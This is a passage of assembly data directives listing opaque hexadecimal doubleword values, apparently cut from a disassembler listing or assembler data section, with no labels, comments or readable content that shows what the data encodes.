		dd 54729E00h, 4A5BA95Eh, 7091CF9h, 82F20052h, 88399BE1h
		dd 1FB5F513h, 3403AB00h, 0E76022C6h, 0FB044880h, 0F2392572h
		dd 77FCDE00h, 11616CA2h, 5D090B22h, 9D002CF9h, 4D41CF87h
		dd 0B1D55E28h, 0B8012A00h, 0AA1F1E93h, 4A98C02Fh, 952E2D0h
		dd 6360326Fh, 0B095636Dh, 1CAC8250h, 0C0B73E70h, 5964D1F0h
		dd 7A0399DCh, 84FC08FAh, 0EAECE01Fh, 0CBF201ADh, 2CE6677Bh
		dd 3E55D40Ch, 444C1DF2h, 80770075h, 0D8C6B336h,	0C8860048h
		dd 5D6D5E63h, 7C7ADDE2h, 0D893BA3Ch, 74A50076h,	688FE3FDh
		dd 256300E1h, 56BCB449h, 0F2006BB1h, 0CF9AEC11h, 0FA7EB3h
		dd 5ED06DC7h, 69E5A8D2h, 19BF2E00h, 0C962807h, 0B3400ECh
		dd 0F008E24Fh, 0E100C047h, 0EEBC1BA9h, 75689C5Dh, 27100087h
		dd 8E5ECC1Fh, 9A001D3Eh, 0DD1A7B3Ah, 7AEEFD9h, 42463DD2h
		dd 7FA130B6h, 6D0976D7h, 81ACCD28h, 0B598F45Bh,	72843AECh
		dd 54BE00D0h, 0B6C79311h, 5D006F9Ch, 330460A0h,	3D01D6h
		dd 9FB7D97Eh, 8DFBFFB2h, 0C7991C01h, 0E7CD56Bh,	3869A0F0h
		dd 0CF802BC8h, 328A4DBFh, 9B005CDCh, 0E6624130h, 0F025D567h
		dd 2C5A0F2Bh, 4480E47Bh, 0BA553D0h, 42126000h, 0D5070266h
		dd 0E28003F4h, 26B49120h, 0D43E27F8h, 0B8BD7C3Ah, 9D302E51h
		dd 90C18500h, 4064AAh, 0D354E115h, 67B994C0h, 450C0A07h
		dd 0E59074E3h, 1C8A22DCh, 40CAFFA0h, 0AF0A593Bh, 6300DF4Ah
		dd 56ED4796h, 4CF731C0h, 16008265h, 0AA8DEF4Dh,	32001D44h
		dd 0CA55E7F1h, 812AD8h,	0A80454C7h, 283E67F0h, 0FD9B5E00h
		dd 0C671FAAFh, 9E6D005Dh, 306362BAh, 57037A64h,	5C5E2EE2h
		dd 0BBE0C84Bh, 0F33F00FEh, 2A6E9952h, 0EBEE94C2h, 0B4F4C100h
		dd 0BC810D04h, 909F00D7h, 97D395B1h, 9E0163C9h,	0FF4AE083h
		dd 0A02B15C0h, 0E7006883h, 0A0AAD4E3h, 0DD2521h, 3D3FE3Dh
		dd 0F17CAFA8h, 9BC79F00h, 913777FFh, 0CABD2EB1h, 51310305h
		dd 28C8EDACh, 11EDA18h,	5D81B3F1h, 0B65EFD38h, 7EC72470h
		dd 0E95A033Eh, 8C5C58D4h, 0F88A97B0h, 3A9EA100h, 3DCC2D89h
		dd 152C1299h, 2014005Ch, 9E352E5h, 69902200h, 4B7F1B6Dh
		dd 0F2D7886h, 0B193FD5Bh, 352C2BE0h, 210096DCh,	8BB89908h
		dd 192A549h, 0D506B7ECh, 0FC9BEE65h, 1D0052FAh,	8F02700Bh
		dd 4D1E95h, 0BE93EA72h,	0A69F71EBh, 1503D907h, 0A8D0BA17h
		dd 0E73F85h, 0D0B70E20h, 684B79B3h, 0E6C24900h,	80CAFEBCh
		dd 902100DEh, 89475C5Dh, 90A0D784h, 2A3BF812h, 0D4FE80A3h
		dd 4A492976h, 0E350064h
		dd 14F55780h, 0BD0017ABh, 2C0BB305h, 58F821h, 0DFACF190h
		dd 9424E106h, 3215D400h, 21E43EA5h, 45D70095h, 1E03720Dh
		dd 43283805h, 1003F09Ch, 0E30C739Dh, 27180E7h, 8A52001Fh
		dd 8F053477h, 0E2003FC8h, 9D16FB45h, 3E02A221h,	0D786E0F7h
		dd 0D047AD55h, 6DDF3Ah,	0D8296F33h, 9DFDE7h, 248FD13Ch
		dd 1E53FE9Ch, 92EE1C00h, 20C68DDDh, 1F3A009Fh, 0A807F455h
		dd 48C70222h, 0C03F936Dh, 8A841BECh, 0BE5F17C1h, 62EB00B8h
		dd 614DC04Ch, 0AA755603h, 0E8A4E1C9h, 88465Fh, 0E763A849h
		dd 55F71E66h, 7C280A0Ah, 0F400E4BAh, 21A46B0Eh,	5F7192h
		dd 0D6858844h, 0ABAFA26Dh, 96D97407h, 0C1209DB4h, 1828AA11h
		dd 78B913E2h, 0EF00C2E8h, 0FAD258C9h, 62A4935h,	0F72BF65h
		dd 33061B8h, 0BDB40832h, 51100EBEh, 6B8EAEBFh, 7B72CC82h
		dd 64871081h, 3803D3F0h, 0E912098Dh, 4D081D8Bh,	8718F767h
		dd 6397C0B9h, 0C004F4Eh, 0A4B1E373h, 7C2493h, 87BAEE80h
		dd 3EF316BCh, 7043A901h, 0BF0B20Ch, 1FFDD1F0h, 0C3DC810Ah
		dd 89F16FE2h, 0B040500Ch, 7A5CB1BCh, 0EBF80DFh,	46A6100Ch
		dd 0AF029ADh, 8187D88Bh, 78710054h, 19082A32h, 3FD25A1Dh
		dd 503E240Ch, 8BAB00DFh, 0C86805AFh, 96FE0989h,	0F88E2A00h
		dd 0BE3C85FEh, 0A6B501CFh, 125178D4h, 0E449C4EAh, 71696C00h
		dd 26D13601h, 8CE30008h, 0A3D21678h, 53006AAEh,	0AC0A4340h
		dd 0B018CB7Ah, 0F69F43Ch, 42A93F5Fh, 0DF1001Dh,	0E6B7B2A0h
		dd 4F449900h, 5FCA3A56h, 0B655013Eh, 12D82EB9h,	84C881B5h
		dd 0F4FEF11Eh, 0F804D9A1h, 0AC600DFFh, 0A4CDBB10h, 0E22A008Ah
		dd 0C0A8F537h, 0E6007EB1h, 99684653h, 0D9D5B0h,	58F7549Dh
		dd 0C7861117h, 1D948800h, 95EC4031h, 70F400B5h,	346FDE79h
		dd 0C300CC16h, 117F8BC9h, 0EAE65231h, 44DEE22h,	0A5160EF0h
		dd 40DC885Ch, 8FF5C200h, 0C16AECA7h, 6C9313A2h,	40081C23h
		dd 0F362B6B0h, 9D00FCDAh, 343EF05Ch, 0E4CEB1C9h, 41E5007Bh
		dd 2E168D4Ah, 0A604B653h, 0D8E19AA2h, 0AC8CFCD0h, 26B20991h
		dd 438098A7h, 8A09EDF8h, 0FE03D8FCh, 54E20DC1h,	3A0BD0EFh
		dd 107D04DFh, 0C018B0ECh, 0D84601A5h, 4D2DC100h, 0D169970Eh
		dd 1E7F5Ah, 0E688EF41h,	922C2731h, 7D26D500h, 0B64034BAh
		dd 338B158Eh, 0B728B855h, 0CE750284h, 0DC800A6Fh, 991F9480h
		dd 491CC93Ah, 7CD83E92h, 0C591B49h, 2BA0FFF6h, 80FEF10h
		dd 60F4E5F7h, 9EBBD296h, 0E850E3D3h, 3AB218Ch, 83497052h
		dd 0E9881BA0h, 397E46DEh, 9A7B2CB2h, 6F475200h,	30D80D59h
		dd 1A2400A4h, 2895C3A7h, 0CB2E2A8Fh, 7A018025h,	5FC26A0Fh
		dd 24A5E0h, 0DA1E11E0h,	9EE5652Bh, 18712D00h, 29AF724Fh
		dd 0EBD100B9h, 0C3553162h, 76F8B51Ah, 0D90DA00Fh, 0BE71202Dh
		dd 0FAF21B83h, 88640075h, 4BE2810Ch, 0AF17AC06h, 26000FADh
		dd 264F5ED9h, 168505BAh, 0C0665518h, 0F81E1BDBh, 7300BD72h
		dd 832C0DCDh, 141A07Ah,	5827608Fh, 0CBE6F576h, 4DDF4CB8h
		dd 0FC756D00h, 973F6128h, 433E001Ah, 0E4156573h, 4205D629h
		dd 0E6F39EBCh, 212CA04Bh, 83327160h, 0CC535FEDh, 5295907Eh
		dd 0C241007Ch, 0B68B830h, 0AE26CEBDh, 191CCB5Ah, 0A8EACA07h
		dd 0B3F5D3F0h, 3F3B01A5h, 44319DD8h, 221770E2h,	4ED0FA00h
		dd 338946B9h, 0B7AE1288h, 0C7C8427Ah, 0CC5E9B0Eh, 20781E18h
		dd 7D30001Ch, 0F66DEB1Dh, 7F00F9FCh, 6846945h, 156E6A3h
		dd 501F1115h, 874973E8h, 0D82860B1h, 74674FF2h,	8E1800B4h
		dd 3C6F446Bh, 24224890h, 11C400B8h, 75EC6C1Bh, 2007625h
		dd 0E93953D2h, 249DA309h, 84CB3Bh, 1A9AFC4Ch, 0DB9814A9h
		dd 48229100h, 6B0DDC4Dh, 0D036121Dh, 0C8A600B2h, 9CCAF9B8h
		dd 844DBC3Ch, 5658470Bh, 7AFFEC88h, 0C3B20016h,	0AACA3B34h
		dd 3F00B965h, 43C5AC67h, 0B8D74h, 159772EEh, 0A513482Bh
		dd 6077B82Dh, 208649Dh,	92C2A89Ah, 58E03129h, 0D002FBA7h
		dd 4D6594C5h, 9AA880C0h, 0FC7D9Dh, 5982A190h, 0BFEC63Ah
		dd 626E8101h, 73E27107h, 672527E8h, 6148C03Fh, 0D8F5BF05h
		dd 9D00C17Dh, 56960E72h, 1792D3h, 5F333941h, 669FFBB6h
		dd 0CE8B130Fh, 0EF982055h, 0D5CFB0h, 0FA629C67h, 8213D0CAh
		dd 0E9A1AC00h, 0F9C8A3B5h, 60F600EBh, 8E6CD751h, 5505E12Bh
		dd 0E6667029h, 0C03FCCC7h, 0B1E417EAh, 0CF3A00C3h, 0DB914459h
		dd 60266625h, 9380FC41h, 0E440866Ah, 0A0424C59h, 0CE923100h
		dd 0AE81E353h, 0EA540903h, 901FA902h, 3D9950E6h, 3900A3BAh
		dd 11AB3F5Bh, 900E4CE9h, 8F14F334h, 77A40146h, 63307AE3h
		dd 389859h, 0A9F87E7Bh,	6D06CB70h, 6604E8B8h, 0C11F8762h
		dd 0AEB0A0h, 0C5268504h, 0CF96EA0Dh, 46C43804h,	0BCA20A14h
		dd 0FF942981h, 0BBA2FCA4h, 606BD116h, 7040040h,	5AE296h
		dd 4CE0395Fh, 0B48E6F6Ah, 0C775A31Fh, 80680BCh,	99BF5541h
		dd 1E6A0047h, 82F23B3Ah, 5F743C72h, 0BC0D912h, 0D4B6E904h
		dd 7828D2C1h, 5DBCC840h, 794F261h, 0C421D7C2h, 4400B9C0h
		dd 0BA7A2B44h, 0FA97502h, 40EB8EF4h, 3A7A18Eh, 188F0A21h
		dd 99B852B4h, 963F7B01h, 0FDF9001Dh, 0E50D71BEh, 0C550006h
		dd 0A001C951h, 2D1D96A3h, 80BEEA4Fh, 0F9CBE6B6h, 0D33D9Ch
		dd 0ABFCC764h, 0A2E13A94h, 7F0005ECh, 3CC5172Bh, 26A522h
		dd 676B3487h, 77B9E2E4h, 0F6609200h, 553D2B1Ah,	594600DAh
		dd 482FE7C0h, 8D1F3870h, 40406A6Ch, 0C70356E5h,	9FE47Fh
		dd 0C04675F3h, 8F1222ADh, 0B20086E4h, 2A905F43h, 1EA0D1B8h
		dd 80725718h, 0FEBC4D9Ch, 750740C8h, 0F8BA11B3h, 0E1AC1C90h
		dd 0E0E4B07Dh, 1F7D9085h, 9366D01Eh, 0B51F0110h, 0F148F56Dh
		dd 6EB06AA1h, 0E4550030h, 297E9973h, 0A40005C3h, 0B833CA36h
		dd 586BFCDh, 0F9075A75h, 0F3FA80CEh, 2B0BF4D9h,	806EE03Bh
		dd 0FABD6926h, 3029000Fh, 0C89FF914h, 7D3A1696h, 0FDED002Ch
		dd 0CF9EBA83h, 0F792EBh, 0C33BE962h, 0EEE7060Ah, 2C2E6309h
		dd 299187F5h, 0A68EA49Eh, 0EC9DA4C1h, 7ECA49F8h, 23740303h
		dd 0B688303Fh, 0C00497EDh, 34137047h, 40E2F008h, 57CC8991h
		dd 0D460D442h, 204AC80Fh, 6EC0C02Bh, 7E72CBBFh,	8180AC94h
		dd 56DF063h, 0B9100F3Ch, 18014225h, 0EE894D5Ah,	0C1121123h
		dd 119E31CAh, 0B6DF03F1h, 0E90CD22h, 0BD00BF6Bh, 0F75B028Ah
		dd 7A6240h, 327971A1h, 3EFE85EEh, 19383612h, 0D2D2250Eh
		dd 12841811h, 0B090B240h, 1DA1223Dh, 21A6258h, 53A06042h
		dd 4E3710A5h, 19002A1Ch, 3A6FD85Ah, 78D5C81Dh, 0F7A17140h
		dd 1B2317h, 0C93F8D9Ah,	6C01BEA5h, 0F6D7F51Dh, 8022964Fh
		dd 535EC235h, 0B5280070h, 6734D18Eh, 5200DA0Ch,	56F77305h
		dd 8B406Bh, 9E9A2C9Fh, 57D659C7h, 2BF5DE00h, 0CD56E2C1h
		dd 23D3007Dh, 0F8531F1Eh, 673F50C6h, 79271E66h,	0B1C00280h
		dd 725218FAh, 2475F5h, 6E460E0Bh, 0E0AE45DBh, 80FA1A3Ah
		dd 0A0257417h, 2D4B3Ch,	26C31266h, 670637B0h, 28C381Dh
		dd 39C22E40h, 9DAED27h,	0CD964F4h, 448CC4Fh, 72EB63h, 0BD835F11h
		dd 363C85F7h, 30848F00h, 0B3610E98h, 0BFF33E51h, 0F6924439h
		dd 0A3000F3Bh, 0C148E883h, 79C3D2E0h, 0F3CD6318h, 30385759h
		dd 3E51ECCBh, 0A88B83B7h, 0B2282C35h, 8AF50A38h, 0D8D4C2h
		dd 0B8632DB9h, 3F00AB9Fh, 20401D0Bh, 1F15F6B6h,	0B2B325F3h
		dd 34837DB9h
		dd 0C106FCEBh, 33D8C609h, 116A1659h, 0B3D307ABh, 0B65E5294h
		dd 7487098h, 40C0B80h, 509730Ah, 2A608370h, 3AB0E810h
		dd 0B17C610Fh, 3E32D580h, 3518BBFCh, 21690D41h,	0AFDF2B75h
		dd 7471044Ch, 0BED9808Bh, 8F74C207h, 0C153A9C1h, 9448F1D8h
		dd 2DAB1EE6h, 8BA83017h, 0B9642B3Ch, 7C88DE38h,	597FD7h
		dd 17F3BCE6h, 692C328Eh, 89E84700h, 15818778h, 6E50C04Fh
		dd 4153F838h, 6F45D52h,	51C29235h, 2F67808h, 766EB602h
		dd 32E0C6D6h, 0E60040FCh, 242857FAh, 0C6BFBC26h, 60BDC279h
		dd 0B8E96C03h, 8354190Eh, 0AF59003Ch, 0DEC26405h, 0A35004D2h
		dd 50C02738h, 5734746Bh, 0A8020060h, 19C58D6Eh,	0D90C38FCh
		dd 31DFEBACh, 737C003Bh, 6DC60D13h, 60983846h, 5B5AE03h
		dd 0A6998FC5h, 81242828h, 0F8DF0E4Ch, 93630954h, 6C985A58h
		dd 21010757h, 869456F2h, 9AE47416h, 0F073068Ch,	89B7592h
		dd 0F1889707h, 3210BDECh, 0DB1762h, 0A4C3A128h,	0BB72D9FEh
		dd 487A4700h, 0E10C3FEFh, 0A6DB0045h, 0E92CF702h, 4B7EB123h
		dd 0F250CB0Ah, 91008FECh, 68A23C03h, 8C9F0C13h,	9D083B70h
		dd 2AB021C0h, 0E043893Ch, 0AB57005Ch, 6AE72250h, 66011EAEh
		dd 0E41F908h, 6083D0D4h, 877B7CA5h, 1CF6823h, 68A63C0Fh
		dd 88991873h, 3C1F16B4h, 0B000EDFAh, 4666267Eh,	2060DB7Ah
		dd 88E2F80Eh, 117CCC64h, 32A70098h, 9514020Eh, 0CC65FBF8h
		dd 944E9408h, 3229BFh, 48EDAA6h, 911F1D8Ch, 54FF464Fh
		dd 0EE0DB0CDh, 687682B6h, 80576091h, 20132A6h, 13ED8C1Ch
		dd 0B83288BEh, 6D9600B1h, 45A1D439h, 10004F6h, 4F4D19FEh
		dd 0E224B568h, 0C1A0082h, 0A664DE76h, 0F016B79h, 0EDAC59C2h
		dd 1BDCEA2Ch, 8326325h,	200076C1h, 2AAC41E9h, 0F74B58h
		dd 380591F8h, 9ECD08FDh, 0EDD1DD0Fh, 76A56761h,	0D0B583h
		dd 6A65B210h, 63CC787Fh, 0F55A921Fh, 0D3A77A42h, 0B9858019h
		dd 648782h, 0A1349C7Eh,	0F9801B60h, 70C05214h, 3E980084h
		dd 0FDD01ACDh, 0F1E339D1h, 99411C80h, 0AD1B314Ah, 618DD800h
		dd 0C630A265h, 2E3A3D4Fh, 0E94B5F00h, 0F46DBD5Ch, 88FC4501h
		dd 5187C9A8h, 0CADC6D71h, 0AC861CA6h, 77F540C3h, 9C976BCEh
		dd 59377E00h, 0D51A5ABCh, 0F379F1h, 0F2F892A1h,	0E0C93AD7h
		dd 0DB5A4A0h, 806B1A3Eh, 8BD210E3h, 781249BEh, 972800BFh
		dd 50230A70h, 980167CBh, 0D9E0C787h, 29ECEBEAh,	0F57E0020h
		dd 38E4DE04h, 8800CBECh, 91182FBDh, 0D82830h, 39F2228Ch
		dd 9A986FCCh, 0AE97B500h, 278D2554h, 33F06Dh, 18748FA4h
		dd 907AB10Fh, 69B38C1Ch, 0E05EC21Fh, 0FE26B4C0h, 58785C3h
		dd 0EAAEE6C6h, 98A9C024h, 1E1C0B57h, 3040E3ACh,	628A7E97h
		dd 39B7FEFh, 268BC9F1h,	23E846EEh, 0FE008167h, 2450C13Dh
		dd 0F2263F8h, 0D61BD140h, 0A41DB3h, 0C7F5A28Ah,	0B60A149Fh
		dd 0AC137DBAh, 1DB0B514h, 0E7815930h, 0B348D5D4h, 43B0C44h
		dd 0B98D5C0Ch, 5002F10h, 0DC73A2CDh, 7DD2C0h, 74D7BB2Eh
		dd 7F5CD81Eh, 52D5AF1Eh, 29CF80CCh, 0B1D04424h,	84D37244h
		dd 42CCC322h, 71CA1108h, 9D08C721h, 840C90DEh, 0A15D7043h
		dd 88DBAD08h, 2588D310h, 84EF904Eh, 7448C418h, 248B1142h
		dd 0F0442103h, 4A105812h, 8F78988h, 0EEF34570h,	8985EF10h
		dd 44BD08EBh, 1189A0F2h, 7BD4D9FCh, 5EE4EAh, 0D865021Bh
		dd 33F684B6h, 89B4371Dh, 2BC00980h, 2D4A103h, 42248EBCh
		dd 7FF1E0Dh, 0F9F0E2A3h, 478BA9h, 0DCD883DFh, 9D08B40Bh
		dd 0FE546900h, 0AAE19F98h, 15B50018h, 3A7BF1A5h, 6900EC19h
		dd 4746890Dh, 740BCB92h, 0EBEEDBh, 0B2B33B2Ah, 94288499h
		dd 0D87CE517h, 0C6BC1800h, 128753CAh, 57065415h, 0F900EA14h
		dd 0E5556243h, 65D200E2h, 91899E2Dh, 4E00C30Bh,	40BCB661h
		dd 772F23h, 29AFCA0Ah, 980395ABh, 34824900h, 43993B8h
		dd 3FFF7F96h, 0A889F699h, 4805C266h, 0A2684050h, 348AD2E0h
		dd 0AB900800h, 71944447h, 0E62E07FDh, 203B8395h, 0F0EA516Fh
		dd 7E734A00h, 0FF8BB24Ch, 7CEB00D6h, 939D0560h,	0C9000F2Dh
		dd 0DE23F822h, 0F84D2C6h, 3E614C29h, 3C3FDF00h,	7A76BA35h
		dd 7546F200h, 3ACAFD25h, 0C1D5001Bh, 78C8FAADh,	7AC04F79h
		dd 48D46D43h, 8CA60783h, 8F1A7287h, 80638640h, 35009BA1h
		dd 15AC3AB9h, 0C2B0D1h,	5101D8EAh, 12144BF1h, 7C02DBF8h
		dd 0BF917ED2h, 36B08085h, 0D72C6Ch, 5932A1ABh, 0F3B00F55h
		dd 0DCBDF00h, 9C5B4875h, 244400E7h, 0E1C61076h,	0F5009FC5h
		dd 650D4074h, 0B1D003h,	9CFC98F1h, 0DC82469Ah, 0C70E4800h
		dd 561E066Bh, 923902A4h, 428A2922h, 9700E89Eh, 503CD50Bh
		dd 90F4DB6Ch, 84B000Ch,	0ACDFA1C8h, 0F1293990h,	0B11E90E2h
		dd 0E6692E43h, 1703D033h, 306C4D82h, 1B3212h, 0B3DE314Ah
		dd 7603F788h, 0D5F16F45h, 0D7C901CAh, 13E7AB79h, 0C2FAD421h
		dd 669DCD00h, 0FD6ED0CCh, 12BE02E2h, 4B80EC10h,	8B5BE4A7h
		dd 96804E89h, 0B02BAF1Ah, 0BF3E953Eh, 0FE1F8005h, 79EC2CF8h
		dd 0D4514C4Ah, 0A8C8C070h, 28369E3Dh, 0F6BA840Eh, 292A03Ah
		dd 38C4DAh, 0C9F77773h,	4E449046h, 0CEF33C03h, 0F0AD5Dh
		dd 3AD438D0h, 0A85E898Dh, 0CB0363E4h, 75EDD92Eh, 0F8F2A8DBh
		dd 6E7C054Ah, 0C0FCE8AFh, 0C34F9B36h, 3233C00h,	818AB74Bh
		dd 673800D7h, 0E74CA477h, 0F200D862h, 48E2F795h, 0E92DDAh
		dd 696146ECh, 30681417h, 3068400h, 0EDBD3153h, 28AA00ADh
		dd 6052B73Bh, 7A00EC48h, 0D60982BEh, 1D812A8h, 0ABED1A2Bh
		dd 0C421249Bh, 22008E84h, 4AF4A238h, 0A014BC6Eh, 6537A4h
		dd 4B543506h, 8C92381Fh, 0BDB57100h, 2059B6E2h,	86DD005Dh
		dd 0E453504Ch, 0A3DEF36h, 76AE8611h, 0E1AA1h, 0A0BF4D8Fh
		dd 13F379BDh, 21157116h, 4C3B2700h, 7D7AE068h, 88430016h
		dd 5C348696h, 0BA4FFA0Eh, 5D0FBCA8h, 0CFA06B1Bh, 0FEFF2072h
		dd 0ACEC953Fh, 47004C85h, 0DED2566Dh, 0FCD900E1h, 6E4BFB54h
		dd 0F8004661h, 67DDF51Dh, 265E5A2h, 26630204h, 0B06988B0h
		dd 0A783D4B5h, 0F1C4000h, 0C593899Ah, 62483AF0h, 2412B400h
		dd 2E42AD39h, 0F8494C02h, 40ECB3E0h, 0E9A0788h,	5B79021Eh
		dd 0AABC1BE0h, 2B079BCEh, 0E8E318DCh, 0A5F7B4A0h, 0C9A20721h
		dd 0A15F3C8Ah, 0ECB8AE82h, 331C54B2h, 0F3CB7BABh, 0EF70810Bh
		dd 30E92114h, 2E4585D0h, 26DBD5Eh, 88ADD1C3h, 0F9F1B540h
		dd 170BBFE2h, 0F7E66F5h, 203B2B45h, 7296B3DCh, 98B8FAF8h
		dd 0B8A74C80h, 5AA9E900h, 4D4F6C06h, 0CEEA7B06h, 70C88EACh
		dd 1321005Eh, 292C0EBCh, 80981BF7h, 51CF0900h, 77469F54h
		dd 0EB7403DAh, 172D046Eh, 65FA5980h, 78874F30h,	0E80E90E1h
		dd 313C0043h, 0C59997E5h, 2C018581h, 0BA475C87h, 0D43455B1h
		dd 0D8D303EFh, 8B89F410h, 2591B3B0h, 29B90C00h,	9EFCF292h
		dd 3AF70080h, 611D343Fh, 9305C6F6h, 0B202BB03h,	8D0057F8h
		dd 87784D59h, 1C00516Dh, 37325EDCh, 0B0DEF0BFh,	75DA0367h
		dd 0E1F51FD4h, 800E2A38h, 36293819h, 1D03E82h, 24F85892h
		dd 60C0E6F7h, 273DCCAEh, 0C73F809Eh, 0E365D0EFh, 79FF0040h
		dd 0A6826D16h, 88F8288Bh, 7E00F8DEh, 0FAEF0260h, 99850076h
		dd 837CC8Ah, 0B900491Fh, 0D3D09034h, 0BAE688h, 1351250h
		dd 9CC841C3h, 43A97100h, 0D355FC64h, 0DF280930h, 0CC8085CCh
		dd 204E1382h, 0B1E40254h
		dd 0D400D2ECh, 0C8C988C4h, 1E9FAE65h, 0C03A5690h, 0DCD90E4Ch
		dd 1000639Ah, 6651E341h, 7870EFh, 0CD1D36F1h, 54B30F4Dh
		dd 0E12A3009h, 5F18808Bh, 39A2441Ah, 21812BF3h,	87034C8Ah
		dd 0E4572037h, 0BDFF6D09h, 0A87080F6h, 393D0AA4h, 8F002E39h
		dd 49BE5893h, 2B26C41Dh, 9E4050DEh, 16B78DCh, 0FDEB166Ch
		dd 0C4729873h, 1B0004FBh, 0F6B447CFh, 4CFCD4E8h, 422470E4h
		dd 669600CFh, 0ED4763F8h, 5C86C600h, 0AE716A04h, 9AA03F23h
		dd 6E5FBC80h, 138CC2FBh, 0FC46FA16h, 82CE2400h,	5C8A6B65h
		dd 33CF44EDh, 870F94F4h, 0F9609F1Ah, 0FFFA0179h, 80899707h
		dd 3E1040D2h, 1FD14EDFh, 0C13B92BDh, 20A62F11h,	0E760DE27h
		dd 25F60B93h, 9DD86300h, 95FF5665h, 0CA9C0087h,	0D5A93EA8h
		dd 7C075F36h, 0B8F00A57h, 8ECFD700h, 0C462008Bh, 958B099h
		dd 0A230AF18h, 0E765B003h, 96F800C5h, 17525667h, 24006919h
		dd 0AFFAA09Ah, 175100Bh, 97AC05A8h, 0E4C08537h,	2E0008BAh
		dd 0E1BB0A21h, 2DC96B1h, 43BF144Dh, 0FCE088CBh,	420A817h
		dd 9BC51E92h, 7BD409Eh,	0BEA9CDF1h, 22150800h, 1629578Fh
		dd 721100DAh, 0E03447FDh, 91B83653h, 0B6054001h, 0AE2C5810h
		dd 16D73ED4h, 40D20C83h, 3047EA80h, 7B00B9FEh, 6A5B4E5Fh
		dd 0FD643C9Bh, 318AFCF0h, 0AE8FD12h, 0C4602221h, 1100CEC5h
		dd 73D6DCD5h, 57959400h, 0E6E56862h, 0D76400EEh, 6F734C6h
		dd 0E80E0D54h, 40169B74h, 0CA456C8Ah, 7DAC1725h, 78A2004Ah
		dd 83EF7CF0h, 0CC87D024h, 4B4AE80h, 45637Fh, 0D8CDE18Ah
		dd 53F77A08h, 8092E500h, 7C0FF462h, 8CCE011Bh, 65D89FEh
		dd 0B5D8E06Ah, 0DC6C1D25h, 54BE00A3h, 0BFA01307h, 0D607CC90h
		dd 0DB1AB25Fh, 39563E00h, 0A1F12ED0h, 959D00C2h, 2C5DAA9Fh
		dd 88D11C1Eh, 80890689h, 0E135A58Dh, 657D284Ch,	951D1298h
		dd 41AC00DBh, 247166F9h, 7D99FC07h, 8270C01Eh, 2A858C1Fh
		dd 3E98ED97h, 0EF9837A5h, 767F88B8h, 0F9FB4B1Fh, 4F8564C0h
		dd 169BEB5Ah, 3FF1D9Fh,	55F26360h, 669C6BA8h, 8039FEEAh
		dd 1144888h, 0EDC52456h, 3AD095AAh, 961909C3h, 0FC00AFC8h
		dd 0B169026Fh, 9B4C440h, 3D291EB8h, 87BD8800h, 0D00BA54h
		dd 0C227D809h, 0AAE7C9Eh, 0CCC09259h, 0C05144B4h, 6F667E4Fh
		dd 0FBEE0301h, 534AB07Bh, 9002A260h, 14600FCh, 0D77FE269h
		dd 65007CC8h, 0E4ED2CDh, 0A8C09C9Ah, 0C46A88h, 6F738FAEh
		dd 0CB71ADC5h, 2C5A7800h, 4BB81612h, 0B50500FCh, 0C29B68B2h
		dd 0B8C2D959h, 0E83DE402h, 7F3F7Ch, 0F2D0EA4Fh,	0B2BF3E61h
		dd 96DD9D39h, 2800B4A7h, 2546834Ah, 0F86B00E9h,	8B237267h
		dd 1F017D96h, 0FD696ED7h, 0A483C9B5h, 5F8968FEh, 2B1E12F8h
		dd 0C8091B00h, 0DADED422h, 425000CDh, 95CEFDACh, 0C401D31Fh
		dd 0B4AF837Ch, 50208BD7h, 0D482009Eh, 5A16102Fh, 285C3D50h
		dd 0A2A400CCh, 34304235h, 2CFF1484h, 6D80B00Ch,	686B5DF6h
		dd 0F8FC84C0h, 470F9E9h, 2E82F764h, 260C80B0h, 894626Fh
		dd 8DA22CC0h, 0FCBE0316h, 1D1ED160h, 0E11F49A0h, 13006BFEh
		dd 9BD10C2h, 577EB6h, 9A32C6D9h, 0AD1A8FF7h, 0A19C5517h
		dd 79AA3806h, 9BDA00C0h, 8085EA09h, 56057DCAh, 1BB9FDE1h
		dd 153A98C8h, 0C02EF51Ch, 3F833800h, 0AC918ED0h, 0EDCE5Ch
		dd 10EE630Fh, 4E1C6A7Ch, 0C34400A3h, 0E7FC7092h, 0EC66E300h
		dd 0FB687DFDh, 83D82E40h, 2AB30018h, 0A0022B49h, 1B0F4300h
		dd 46BC56A8h, 547400D0h, 9A281C2Eh, 9513F625h, 68C0E7E1h
		dd 72FEEDh, 57A5F170h, 0D866ECD6h, 50009B5Fh, 16ABBD3h
		dd 0A1D700FDh, 982DCC34h, 4D3F3D5Ah, 0C1E6F265h, 78ECE17Fh
		dd 6E614F00h, 0F525E5B6h, 17020C72h, 0B56810F8h, 26C07C53h
		dd 0BA80A4A8h, 0D9D82B3Ah, 9DC50473h, 0C1915479h, 20E8E7CDh
		dd 0F384974h, 1D850067h, 0CA8FAB13h, 23E60F6Ch,	0C100BD30h
		dd 814574DBh, 430FF6E2h, 0E085FDF4h, 2A31F21Fh,	8D94E0Ah
		dd 0F00C260h, 407235EAh, 0AC1E5128h, 90F8ECC0h,	4B6B0393h
		dd 6789B8FAh, 282A8000h, 0E598A38h, 82630142h, 0FF496D48h
		dd 0F6F8404Ch, 9700EC2Ch, 19F27D6Bh, 70F012h, 0CD8D9FB3h
		dd 5C1C090Ah, 6404A600h, 0A3872436h, 0B55F1C85h, 25CD0034h
		dd 0B17190C4h, 5CBC5804h, 5893875Ah, 72BA9CEh, 0B6804039h
		dd 0AED193BBh, 6AEA8E00h, 2C2113E8h, 22F26506h,	11B04007h
		dd 60091265h, 0AC62F100h, 596C5FF5h, 0A50D147Fh, 0BA00C8CCh
		dd 0DEF6E2B2h, 9400B5A0h, 0E01DDDAEh, 0DF8BC9h,	0ADC2A76h
		dd 23AF20F2h, 0F756CB02h, 40DAA210h, 4072D920h,	6F0991CDh
		dd 8069C0FCh, 59064EBh,	1B98C0E9h, 7ACC5A4Ch, 0F2031507h
		dd 0DAB03DAEh, 1CF1B8E8h, 294F0Ch, 75B647D0h, 3A1CE471h
		dd 0B1C0AE84h, 5162D51Eh, 0EDFFE4Fh, 5FD352BBh,	21A596C0h
		dd 2801A3A8h, 8433575Bh, 77C4ED41h, 515001Fh, 62462249h
		dd 14014299h, 4D09CEEAh, 76FDAC7h, 0FA53DCEh, 0B6AF2C60h
		dd 8490BB92h, 0FF0045ECh, 61F9E6EAh, 0FC537A94h, 0DE0A0706h
		dd 209D3514h, 8D8BBA8Fh, 0B3DAD01h, 80C1383Eh, 582C5FE4h
		dd 0D8009910h, 0BE23E724h, 0C758EDB9h, 0DF5D0038h, 0ECC1902Ah
		dd 7FEB38E5h, 0BAA4E880h, 94100FA7h, 0D8E04D04h, 0ACC0F486h
